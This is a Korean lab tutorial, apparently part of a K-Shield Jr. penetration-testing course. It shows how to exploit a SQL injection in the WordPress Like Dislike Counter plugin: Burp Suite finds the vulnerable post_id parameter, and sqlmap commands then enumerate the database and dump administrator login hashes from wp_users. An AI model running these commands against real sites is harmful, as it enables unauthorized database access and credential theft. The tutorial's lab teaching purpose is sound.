1. burp suite & sqlmap
WordPresss Plugin 중에서 Like DisLike 취약점을 sqlmap을 이용하여 관리자 ID/Password 획득을 하고자한다.
like-dislike-counter-for-posts-pages-and-comments.zip
해당 파일을 미리 플러그인 추가 기능을 통해 활성화 시킨다. ( 과정 생략 )
(1) burp suite를 이용하여 취약한 파라미터 찾기
해당 플러그인을 추가하면 그림 1-1 처럼 Likes 와 Dislikes 버튼이 생성된다.
그림 1-1
해당 버튼을 누르기 전에 burp suite 실행 후 그림 1-2, 그림 1-3 처럼 세팅한다. ( burp suite 사용법은 추후 게시할 예정 )
그림 1-2
그림 1-3
그림 1-4 처럼 IE 브라우저의 cooxie 프록시를 잡고 그림 1-1의 Likes, Dislikes 둘 중 아무 버튼이나 누른다.
그림 1-4
burp suite에서 잡은 정보를 통해 취약한 파라미터(post_id) 확인
그림 1-5
(2) sqlmap을 이용하여 db정보 확인
간단한 옵션 설명
-u : 대상 url 지정
--data : post방식으로 넘겨지는 모든 파라미터
-p : 취약한 파라미터
--level : 테스트 레벨 지정. 높은 숫자일수록 더 많은 정보를 찾음 (1-5, 기본값 1)
--dbs : 데이터베이스 목록화
kali에 있는 sqlmap을 이용하여 다음과 같은 명령어 입력
sqlmap -u "http://192.168.0.130/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=c_like" -p post_id --level=3 --dbs | cs |
그림 2-1 에 보이는 것처럼 boolean-based, union, time-based 인젝션이 활용됨을 볼 수 있다.
그림 2-1
그림 2-2
sqlmap -u "http://192.168.0.130/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=c_like" -p post_id --current-db | cs |
--current-db 옵션인 현재 DB를 출력하는 명령어를 통해 그림 2-3 처럼 'wordpress' 임을 확인
그림 2-3
sqlmap -u "http://192.168.0.130/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=c_like" -p post_id -D "wordpress" --tables | cs |
wordpress의 테이블명을 검색하니 'wp-users' 컬럼명 확인가능
그림 2-4
sqlmap -u "http://192.168.0.130/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=c_like" -p post_id -D "wordpress" -T "wp_users" --columns | cs |
'wp-users' 컬럼명을 검색한 결과 그림 2-5 처럼 찾고자하는 'user-login' 과 'user_pass'를 확인 할 수 있다.
그림 2-5
sqlmap -u "http://192.168.0.130/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=c_like" -p post_id -D "wordpress" -T "wp_users" -C "user_login,user_pass" --dump | cs |
'user_login' 과 'user_pass' 를 덤프하게되면 그림 2-6 처럼 입력한다.
하지만, 오랜 시간이 걸리기에 다른 방법을 통해 패스워드를 크랙하고자 한다. 'ctrl + c' 를 통해 명령어 취소.
그림 2-6
취소를 하게되면 그림 2-7 처럼 관리자 ID와 password가 해쉬값 형태로 보인다. 해당 해쉬값은 다음 게시글을 통해 이용되니 복사하여 'passwd.txt' 파일로 생성해놓자.
그림 2-7
'K-Shield Jr. > 모의해킹' 카테고리의 다른 글
SQL Injection의 종류와 의미 (0) | 2018.11.07 |
---|---|
WordPress Plugin 취약점 Like DisLike Counter :: 2. 패스워드 크랙 (1) | 2018.11.05 |
Wordpress 한글화 (0) | 2018.11.04 |
Ubuntu - Wordpress 설치 (0) | 2018.11.02 |
Ubuntu 기본세팅 (0) | 2018.11.02 |